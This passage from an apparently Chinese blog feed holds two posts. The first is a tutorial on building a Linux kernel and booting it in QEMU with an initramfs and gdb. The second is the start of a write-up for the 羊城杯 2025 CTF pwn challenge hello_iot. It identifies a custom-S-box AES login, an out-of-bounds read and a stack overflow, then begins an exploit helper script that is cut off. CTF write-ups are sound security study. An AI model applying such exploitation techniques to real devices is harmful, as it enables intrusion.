class="variable">$ROOTFS_DIR</span>/init"</span> > /dev/null << <span class="string">'EOF'</span></span><br><span class="line"><span class="comment">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">mount -t proc proc /proc</span><br><span class="line">mount -t sysfs sys /sys</span><br><span class="line">mount -t devtmpfs dev /dev</span><br><span class="line">mount -t tmpfs tmp /tmp</span><br><span class="line"><span class="built_in">mkdir</span> -p /dev/pts /dev/shm</span><br><span class="line">mount -t devpts devpts /dev/pts</span><br><span class="line">mount -t tmpfs shm /dev/shm</span><br><span class="line"></span><br><span class="line"><span class="built_in">export</span> PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin</span><br><span class="line"><span class="built_in">export</span> HOME=/root</span><br><span class="line"><span class="built_in">export</span> TERM=linux</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -x /usr/lib/systemd/systemd-udevd ]; <span class="keyword">then</span></span><br><span class="line"> /usr/lib/systemd/systemd-udevd --daemon 2>/dev/null</span><br><span class="line"> udevadm trigger --action=add 2>/dev/null</span><br><span class="line"> udevadm settle 2>/dev/null</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">clear</span><br><span class="line"></span><br><span class="line"><span class="built_in">exec</span> /bin/bash --login</span><br><span class="line">EOF</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">chmod</span> +x <span class="string">"<span class="variable">$ROOTFS_DIR</span>/init"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span>/{dev,proc,sys,run,tmp}</span><br></pre></td></tr></tbody></table></figure><p>然后使用如下脚本将其打包为 ext4 image:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line">ROOTFS_DIR=<span class="string">"test_kernel/arch_full_rootfs"</span></span><br><span class="line">IMAGE_FILE=<span class="string">"test_kernel/arch_full.ext4"</span></span><br><span class="line">IMAGE_SIZE=<span class="string">"4G"</span> </span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ ! -d <span class="string">"<span class="variable">$ROOTFS_DIR</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">"<span class="variable">$IMAGE_FILE</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">rm</span> -f <span class="string">"<span class="variable">$IMAGE_FILE</span>"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">dd</span> <span class="keyword">if</span>=/dev/zero of=<span class="string">"<span class="variable">$IMAGE_FILE</span>"</span> bs=1M count=0 seek=$(<span class="built_in">echo</span> <span class="variable">$IMAGE_SIZE</span> | sed <span class="string">'s/G/*1024/;s/M//;'</span> | bc) status=progress</span><br><span class="line"></span><br><span class="line">mkfs.ext4 -F -L <span class="string">"arch-rootfs"</span> <span class="string">"<span class="variable">$IMAGE_FILE</span>"</span></span><br><span class="line"></span><br><span class="line">MOUNT_POINT=$(<span class="built_in">mktemp</span> -d)</span><br><span class="line"><span class="built_in">sudo</span> mount -o loop <span class="string">"<span class="variable">$IMAGE_FILE</span>"</span> <span class="string">"<span class="variable">$MOUNT_POINT</span>"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">cp</span> -a <span class="string">"<span class="variable">$ROOTFS_DIR</span>/"</span>* <span class="string">"<span class="variable">$MOUNT_POINT</span>/"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sync</span></span><br><span class="line"><span class="built_in">sudo</span> umount <span class="string">"<span class="variable">$MOUNT_POINT</span>"</span></span><br><span class="line"><span class="built_in">rmdir</span> <span class="string">"<span class="variable">$MOUNT_POINT</span>"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">chown</span> <span class="variable">$USER</span>:<span class="variable">$USER</span> <span class="string">"<span class="variable">$IMAGE_FILE</span>"</span></span><br></pre></td></tr></tbody></table></figure><p>我们尝试使用如下参数运行 QEMU</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">$ KERNEL=<span class="string">"arch/x86/boot/bzImage"</span></span><br><span class="line">$ ROOTFS=<span class="string">"test_kernel/arch_full.ext4"</span></span><br><span class="line">$ qemu-system-x86_64 \</span><br><span class="line"> -kernel <span class="string">"<span class="variable">$KERNEL</span>"</span> \</span><br><span class="line"> -drive file=<span class="string">"<span class="variable">$ROOTFS</span>"</span>,format=raw,<span class="keyword">if</span>=virtio \</span><br><span class="line"> -m 4G \</span><br><span class="line"> -smp 4 \</span><br><span class="line"> -append <span class="string">"console=ttyS0"</span> \</span><br><span class="line"> -nographic</span><br></pre></td></tr></tbody></table></figure><p>预期下, 会产生 Kernel panic:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">[ 1.983880] /dev/root: Can't open blockdev</span><br><span class="line">[ 1.987750] List of all bdev filesystems:</span><br><span class="line">[ 1.987876] fuseblk</span><br><span class="line">[ 1.987891] </span><br><span class="line">[ 1.988146] Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0)</span><br><span class="line">[ 1.988715] CPU: 1 UID: 0 PID: 1 Comm: swapper/0 Not tainted 6.18.0-rc3 #5 PREEMPT(voluntary) 2b0b48d497e5105aac88eb0a7903527369b0379b</span><br><span class="line">[ 1.989240] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Arch Linux 1.17.0-2-2 04/01/2014</span><br><span class="line">[ 1.989766] Call Trace:</span><br><span class="line">[ 1.989950] <TASK></span><br><span class="line">[ 1.990291] dump_stack_lvl+0x5d/0x80</span><br><span class="line">[ 1.990581] vpanic+0xdb/0x2d0</span><br><span class="line">[ 1.990658] panic+0x6b/0x6b</span><br><span class="line">[ 1.990732] mount_root_generic+0x1cf/0x270</span><br><span class="line">[ 1.990903] prepare_namespace+0x1dc/0x230</span><br><span class="line">[ 1.991032] kernel_init_freeable+0x282/0x2b0</span><br><span class="line">[ 1.991163] ? __pfx_kernel_init+0x10/0x10</span><br><span class="line">[ 1.991305] kernel_init+0x1a/0x140</span><br><span class="line">[ 1.991398] ret_from_fork+0x1c2/0x1f0</span><br><span class="line">[ 1.991483] ? __pfx_kernel_init+0x10/0x10</span><br><span class="line">[ 1.991592] ret_from_fork_asm+0x1a/0x30</span><br><span class="line">[ 1.991723] </TASK></span><br><span class="line">[ 1.993053] Kernel Offset: disabled</span><br><span class="line">[ 1.993394] ---[ end Kernel panic - not syncing: VFS: Unable to mount root fs on unknown-block(0,0) ]---</span><br></pre></td></tr></tbody></table></figure><p>这是因为 ext4 相关的功能编译为了内核模块, 而且并没有加载进内核.</p><p>借助 initramfs, 我们可以先在其中加载 ext4 相关模块,然后再挂载真正的根文件系统.</p><h2 id="构建initramfs">构建 initramfs</h2><p>使用如下脚本构建一个实验性的 initramfs:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"><span class="built_in">set</span> -e</span><br><span class="line"></span><br><span class="line">INITRAMFS_DIR=<span class="string">"test_kernel/initramfs"</span></span><br><span class="line">INITRAMFS_FILE=<span class="string">"test_kernel/initramfs.cpio.gz"</span></span><br><span class="line">KERNEL_VERSION=$(make kernelrelease 2>/dev/null)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ -d <span class="string">"<span class="variable">$INITRAMFS_DIR</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">rm</span> -rf <span class="string">"<span class="variable">$INITRAMFS_DIR</span>"</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$INITRAMFS_DIR</span>"</span>/{bin,sbin,etc,proc,sys,dev,newroot,lib/modules}</span><br><span class="line"></span><br><span class="line"><span class="built_in">cp</span> /bin/busybox <span class="string">"<span class="variable">$INITRAMFS_DIR</span>/bin/"</span></span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">"<span class="variable">$INITRAMFS_DIR</span>/bin/busybox"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> <span class="string">"<span class="variable">$INITRAMFS_DIR</span>/bin"</span></span><br><span class="line"><span class="keyword">for</span> cmd <span class="keyword">in</span> sh mount umount <span class="built_in">mkdir</span> <span class="built_in">mknod</span> switch_root insmod modprobe <span class="built_in">cat</span> <span class="built_in">echo</span> <span class="built_in">sleep</span> <span class="built_in">ls</span>; <span class="keyword">do</span></span><br><span class="line"> <span class="built_in">ln</span> -sf busybox <span class="variable">$cmd</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"><span class="built_in">cd</span> - > /dev/null</span><br><span class="line"></span><br><span class="line">MODULE_DIR=<span class="string">"<span class="variable">$INITRAMFS_DIR</span>/lib/modules/<span class="variable">$KERNEL_VERSION</span>"</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$MODULE_DIR</span>/kernel/fs/ext4"</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$MODULE_DIR</span>/kernel/fs/jbd2"</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$MODULE_DIR</span>/kernel/fs/mbcache"</span></span><br><span class="line"><span class="built_in">mkdir</span> -p <span class="string">"<span class="variable">$MODULE_DIR</span>/kernel/crypto"</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> module <span class="keyword">in</span> ext4 jbd2 mbcache crc16; <span class="keyword">do</span></span><br><span class="line"> MODULE_PATH=$(find . -name <span class="string">"<span class="variable">${module}</span>.ko"</span> -o -name <span class="string">"<span class="variable">${module}</span>.ko.gz"</span> -o -name <span class="string">"<span class="variable">${module}</span>.ko.xz"</span> | <span class="built_in">head</span> -1)</span><br><span class="line"> <span class="keyword">if</span> [ -n <span class="string">"<span class="variable">$MODULE_PATH</span>"</span> ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">" 找到: <span class="variable">$module</span> -> <span class="variable">$MODULE_PATH</span>"</span></span><br><span class="line"> <span class="built_in">cp</span> <span class="string">"<span class="variable">$MODULE_PATH</span>"</span> <span class="string">"<span class="variable">$MODULE_DIR</span>/"</span></span><br><span class="line"> <span class="keyword">else</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">" 警告: 未找到 <span class="variable">$module</span> 模块"</span></span><br><span class="line"> <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">done</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> <span class="string">"<span class="variable">$INITRAMFS_DIR</span>"</span></span><br><span class="line"><span class="built_in">cat</span> > <span class="string">"lib/modules/<span class="variable">$KERNEL_VERSION</span>/modules.dep"</span> << <span class="string">EOF</span></span><br><span class="line"><span class="string">kernel/fs/ext4/ext4.ko: kernel/fs/jbd2/jbd2.ko kernel/fs/mbcache/mbcache.ko</span></span><br><span class="line"><span class="string">kernel/fs/jbd2/jbd2.ko: kernel/crypto/crc16.ko</span></span><br><span class="line"><span class="string">kernel/fs/mbcache/mbcache.ko:</span></span><br><span class="line"><span class="string">kernel/crypto/crc16.ko:</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">touch</span> <span class="string">"lib/modules/<span class="variable">$KERNEL_VERSION</span>/modules.order"</span></span><br><span class="line"><span class="built_in">cd</span> - > /dev/null</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> > <span class="string">"<span class="variable">$INITRAMFS_DIR</span>/init"</span> << <span class="string">'INIT_SCRIPT'</span></span><br><span class="line"><span class="comment">#!/bin/sh</span></span><br><span class="line"></span><br><span class="line">mount -t proc proc /proc</span><br><span class="line">mount -t sysfs sysfs /sys</span><br><span class="line">mount -t devtmpfs devtmpfs /dev</span><br><span class="line"></span><br><span class="line"><span class="built_in">sleep</span> 1</span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"加载内核模块..."</span></span><br><span class="line">insmod /lib/modules/*/crc16.ko 2>/dev/null || <span class="built_in">echo</span> <span class="string">" crc16 已加载或不需要"</span></span><br><span class="line">insmod /lib/modules/*/mbcache.ko 2>/dev/null || <span class="built_in">echo</span> <span class="string">" mbcache 已加载或不需要"</span></span><br><span class="line">insmod /lib/modules/*/jbd2.ko 2>/dev/null || <span class="built_in">echo</span> <span class="string">" jbd2 已加载或不需要"</span></span><br><span class="line">insmod /lib/modules/*/ext4.ko 2>/dev/null || <span class="built_in">echo</span> <span class="string">" ext4 已加载或不需要"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"内核模块加载完成"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ ! -b /dev/vda ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"错误: 根设备 /dev/vda 不存在"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"可用的块设备:"</span></span><br><span class="line"> <span class="built_in">ls</span> -l /dev/vd* 2>/dev/null || <span class="built_in">echo</span> <span class="string">" 未找到 virtio 块设备"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"启动 shell 进行调试..."</span></span><br><span class="line"> <span class="built_in">exec</span> /bin/sh</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"挂载根文件系统 /dev/vda..."</span></span><br><span class="line">mount -t ext4 /dev/vda /newroot</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"错误: 无法挂载根文件系统"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"启动 shell 进行调试..."</span></span><br><span class="line"> <span class="built_in">exec</span> /bin/sh</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">echo</span> <span class="string">"根文件系统挂载成功"</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> [ ! -x /newroot/init ]; <span class="keyword">then</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"错误: /newroot/init 不存在或不可执行"</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">""</span></span><br><span class="line"> <span class="built_in">echo</span> <span class="string">"启动 shell 进行调试..."</span></span><br><span class="line"> umount /newroot</span><br><span class="line"> <span class="built_in">exec</span> /bin/sh</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"></span><br><span class="line">umount /proc</span><br><span class="line">umount /sys</span><br><span class="line">umount /dev</span><br><span class="line"></span><br><span class="line"><span class="built_in">exec</span> switch_root /newroot /init</span><br><span class="line">INIT_SCRIPT</span><br><span class="line"></span><br><span class="line"><span class="built_in">chmod</span> +x <span class="string">"<span class="variable">$INITRAMFS_DIR</span>/init"</span></span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> <span class="string">"<span class="variable">$INITRAMFS_DIR</span>"</span></span><br><span class="line">find . -print0 | cpio --null --create --format=newc 2>/dev/null | gzip -9 > <span class="string">"../<span class="subst">$(basename $INITRAMFS_FILE)</span>"</span></span><br><span class="line"><span class="built_in">cd</span> - > /dev/null</span><br></pre></td></tr></tbody></table></figure><p>然后使用如下命令:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">$ KERNEL=<span class="string">"arch/x86/boot/bzImage"</span></span><br><span class="line">$ INITRAMFS=<span class="string">"test_kernel/initramfs.cpio.gz"</span></span><br><span class="line">$ ROOTFS=<span class="string">"test_kernel/arch_full.ext4"</span></span><br><span class="line">$ qemu-system-x86_64 \</span><br><span class="line"> -kernel <span class="string">"<span class="variable">$KERNEL</span>"</span> \</span><br><span class="line"> -initrd <span class="string">"<span class="variable">$INITRAMFS</span>"</span> \</span><br><span class="line"> -drive file=<span class="string">"<span class="variable">$ROOTFS</span>"</span>,format=raw,<span class="keyword">if</span>=virtio \</span><br><span class="line"> -m 4G \</span><br><span class="line"> -smp 4 \</span><br><span class="line"> -append <span class="string">"console=ttyS0"</span> \</span><br><span class="line"> -nographic</span><br></pre></td></tr></tbody></table></figure><p><img src="/2025527-Linux-Kernel-build,-boot-and-debug-in-QEMU/image-20251101131649584.png"></p><h1 id="加载内核模块">加载内核模块</h1><p>在成功启动的 QEMU 环境内输入 <code>lsmod</code>,会发现只加载了几个模块</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[root@archlinux /]# lsmod</span><br><span class="line">Module Size Used by</span><br><span class="line">ext4 1159168 1</span><br><span class="line">jbd2 200704 1 ext4</span><br><span class="line">mbcache 20480 1 ext4</span><br><span class="line">crc16 12288 1 ext4</span><br></pre></td></tr></tbody></table></figure><p>在 Linux 中,内核模块存放在 <code>/usr/lib/modules/*kernel_release*/</code> 位置.我们需要在 rootfs 打包前将编译好的模块放入:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ make modules_install INSTALL_MOD_PATH=/home/summer/git/linux/test_kernel/arch_full_rootfs</span><br></pre></td></tr></tbody></table></figure><h1 id="使用gdb调试内核">使用 gdb 调试内核</h1><p>在 QEMU 的启动命令添加下列参数:</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">qemu-system-x86_64 \</span><br><span class="line"> ... \</span><br><span class="line"> -s \ <span class="comment">#run a gdb server at tcp::1234</span></span><br><span class="line"> -S <span class="comment">#pause simulator until a `continue` from gdb</span></span><br></pre></td></tr></tbody></table></figure><p>kernel 在编译时提供了带符号的内核文件 <code>vmlinux</code> 和一个 gdb 脚本 <code>vmlinux-gdb.py</code></p><p>加载该文件然后连接 QEMU, 就可以对内核进行调试了.</p><figure><img src="/2025527-Linux-Kernel-build,-boot-and-debug-in-QEMU/image-20251101133210170.png" alt="gdb attach"><figcaption aria-hidden="true">gdb attach</figcaption></figure><figure><img src="/2025527-Linux-Kernel-build,-boot-and-debug-in-QEMU/image-20251101133315688.png" alt="start_kernel"><figcaption aria-hidden="true">start_kernel</figcaption></figure><h1 id="references">References</h1><ol type="1"><li><a href="https://en.wikipedia.org/wiki/Booting_process_of_Linux#Kernel">https://en.wikipedia.org/wiki/Booting_process_of_Linux#Kernel</a></li><li><a href="https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard">https://en.wikipedia.org/wiki/Filesystem_Hierarchy_Standard</a></li><li><a href="https://wiki.archlinux.org/title/Kernel_module">https://wiki.archlinux.org/title/Kernel_module</a></li></ol>]]></content>
<summary type="html"><p>一次内核编译到运行的尝试</p>
<h1 id="编译内核">编译内核</h1>
<h2 id="拉取源码">拉取源码</h2>
<figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">$ git <span class="built_in">clone</span> git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git</span><br></pre></td></tr></tbody></table></figure></summary>
<category term="Study" scheme="http://summ2.link/categories/Study/"/>
<category term="debug" scheme="http://summ2.link/tags/debug/"/>
<category term="kernel" scheme="http://summ2.link/tags/kernel/"/>
<category term="QEMU" scheme="http://summ2.link/tags/QEMU/"/>
</entry>
<entry>
<title>羊城杯 hello_iot 复现</title>
<link href="http://summ2.link/categories/CTF/ycb2025/"/>
<id>http://summ2.link/categories/CTF/ycb2025/</id>
<published>2025-10-21T16:00:00.000Z</published>
<updated>2025-10-21T16:00:00.000Z</updated>
<content type="html"><![CDATA[<p>2025 年十月羊城杯 hello_iot</p><span id="more"></span><h1 id="vulnerabilities">Vulnerabilities</h1><figure><img src="/20251022-羊城杯-hello_iot-复现/image-20251022140619234.png" alt="checksec"><figcaption aria-hidden="true">checksec</figcaption></figure><p>题目基于 <em>Libmicrohttpd</em> 在 9999 端口提供一个 http 服务,分析程序逻辑可得知有如下功能: <code>login</code>, <code>work</code>,<code>log</code>. 而且要求输入密码进行验证,</p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022093047025.png"></p><p>分析登录相关逻辑, 是一个换盒 AES:</p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022093154495.png"></p><p>注意到 AES 中 sub bytes 操作使用了逆 Sbox, 可认为是解密流程,因此我们只需要写一个自定义 Sbox 的 AES ECB 加密脚本.</p><hr><p>在 <code>log</code> 中有明显越界读,</p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022093631697.png"></p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022093648172.png"></p><hr><p>在 <code>work</code> 中存在两种逻辑, 一种是将数据存放在堆区并记录地址,另一种是进入一个后门函数.</p><p><img src="/20251022-羊城杯-hello_iot-复现/image-20251022140457384.png"></p><figure><img src="/20251022-羊城杯-hello_iot-复现/image-20251022140516672.png" alt="stack overflow"><figcaption aria-hidden="true">stack overflow</figcaption></figure><h1 id="exploit">Exploit</h1><p>首先编写一个脚本, 计算出登录密码.</p><figure class="highlight python"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> u64</span><br><span class="line"><span class="comment"># ========================================================</span></span><br><span class="line"><span class="comment"># 纯 Python 实现 AES-128 加密 (支持自定义 S-box)</span></span><br><span class="line"><span class="comment"># ========================================================</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 默认 AES S-box,可自行修改实现「换表 AES」</span></span><br><span class="line">S_BOX = [</span><br><span class="line"> <span class="number">0x29</span>, <span class="number">0x40</span>, <span class="number">0x57</span>, <span class="number">0x6e</span>, <span class="number">0x85</span>, <span class="number">0x9c</span>, <span class="number">0xb3</span>, <span class="number">0xca</span>, <span class="number">0xe1</span>, <span class="number">0xf8</span>, <span class="number">0xf</span>, <span class="number">0x26</span>, <span class="number">0x3d</span>, <span class="number">0x54</span>, <span class="number">0x6b</span>, <span class="number">0x82</span>,</span><br><span class="line"> <span class="number">0x99</span>, <span class="number">0xb0</span>, <span class="number">0xc7</span>, <span class="number">0xde</span>, <span class="number">0xf5</span>, <span class="number">0xc</span>, <span class="number">0x23</span>, <span class="number">0x3a</span>, <span class="number">0x51</span>, <span class="number">0x68</span>, <span class="number">0x7f</span>, <span class="number">0x96</span>, <span class="number">0xad</span>, <span class="number">0xc4</span>, <span 